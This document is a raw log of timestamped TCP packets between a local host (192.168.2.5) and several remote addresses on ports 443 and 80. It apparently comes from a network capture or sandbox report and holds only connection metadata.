Oct 27, 2024 17:54:40.311090946 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.311103106 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.311254025 CET	49930	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.311264992 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.311290979 CET	49932	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.311331987 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.311342955 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.311598063 CET	49932	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.311630011 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.321408033 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321432114 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321439981 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321463108 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321470022 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321475029 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321496010 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.321507931 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321536064 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.321558952 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.321567059 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321609020 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.321650028 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.323657990 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.323668003 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.323678017 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.323682070 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.343547106 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.343592882 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.343628883 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.343640089 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.343683004 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.343693018 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.343719959 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.343775034 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.343781948 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.343875885 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.344146013 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.344475031 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.344480991 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.380166054 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.384525061 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.384551048 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.385020018 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.390335083 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.390429020 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.392338037 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.403275013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403307915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403341055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403356075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403372049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403372049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403373003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403388023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403399944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403408051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403430939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403439999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403455973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403470993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403492928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403497934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403511047 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403520107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403536081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403538942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403553009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403558969 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403568983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403578997 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403593063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403599977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403629065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403637886 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403645992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403659105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403675079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403682947 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403690100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403703928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403707027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403713942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403733969 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403743982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403748989 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403760910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403784990 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403791904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403800964 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403815031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403829098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403831005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403846025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403850079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403862953 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.403871059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403877974 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.403897047 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.425689936 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:40.425729036 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:40.425811052 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.425853014 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:40.426161051 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:40.426196098 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:40.426327944 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:40.426342010 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:40.426434040 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:40.426469088 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.426480055 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.426578045 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:40.426589966 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:40.427591085 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.427655935 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.428004026 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.428106070 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.428153038 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.429622889 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.429840088 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.429853916 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.430425882 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.430743933 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.430826902 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.430892944 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.435336113 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.471369982 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.475332022 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.508018970 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:40.508111000 CET	443	49935	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:40.508189917 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:40.509326935 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:40.509358883 CET	443	49936	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:40.509412050 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:40.509588003 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.511291981 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:40.511331081 CET	443	49935	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:40.511807919 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:40.511820078 CET	443	49936	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:40.514189005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514204979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514281988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.514549971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514565945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514592886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514616013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514632940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514642000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.514647007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514663935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.514677048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.514692068 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.514728069 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.516113997 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:40.516165972 CET	443	49937	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:40.516249895 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:40.517021894 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:40.517054081 CET	443	49937	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:40.518250942 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:40.518321037 CET	443	49938	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:40.518484116 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:40.518667936 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:40.518706083 CET	443	49938	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:40.556823969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.556844950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.556860924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.556875944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.556907892 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.556946039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.556951046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.556962967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.556979895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.556986094 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.556993961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557010889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557032108 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557250023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557265997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557291985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557301044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557312012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557326078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557336092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557357073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557363987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557377100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557414055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557416916 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557429075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557451010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557454109 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557466984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557478905 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557493925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557501078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557514906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557517052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557531118 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557539940 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557547092 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557554007 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557564974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557574987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557590961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557607889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.557617903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557638884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.557682991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.571620941 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.571636915 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.632834911 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.632880926 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.632981062 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.633693933 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:40.633708954 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:40.634876013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.634895086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.634938955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.634962082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.634970903 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.634970903 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.634978056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.634991884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.634999037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.635014057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.635023117 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.635030985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.635037899 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.635057926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.635066032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.641128063 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.641156912 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.641176939 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.641220093 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.641241074 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.641258955 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.641396999 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.669858932 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.669889927 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.669897079 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.669918060 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.669929981 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.669941902 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.669985056 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.669985056 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.669998884 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.670072079 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.672198057 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.672209024 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.672250032 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.672280073 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.672295094 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.672321081 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.672346115 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.672363997 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.672363997 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.672363997 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.672389030 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.672405958 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.676935911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.676953077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.676966906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677000046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677031040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677033901 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677068949 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677076101 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677083015 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677088022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677104950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677119017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677120924 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677130938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677150965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677165985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677223921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677248955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677264929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677264929 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677280903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677303076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677328110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677350998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677364111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677447081 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677453041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677468061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677481890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677501917 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677529097 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677622080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677635908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677678108 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677743912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677759886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677777052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677793980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677798986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677851915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677867889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677877903 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677882910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677895069 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677901030 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677920103 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677943945 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.677963972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.677977085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.678009987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.678028107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.678033113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.678064108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.678092003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.678114891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.755458117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755475998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755491972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755517960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755568027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755582094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755590916 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.755614042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.755647898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.755662918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755680084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.755794048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.760330915 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.760375977 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.760407925 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.760427952 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.760456085 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.760459900 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.760459900 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.760509014 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.760516882 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.760694027 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.791364908 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.791376114 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.791407108 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.791423082 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.791434050 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.791450977 CET	443	49926	23.47.50.137	192.168.2.5
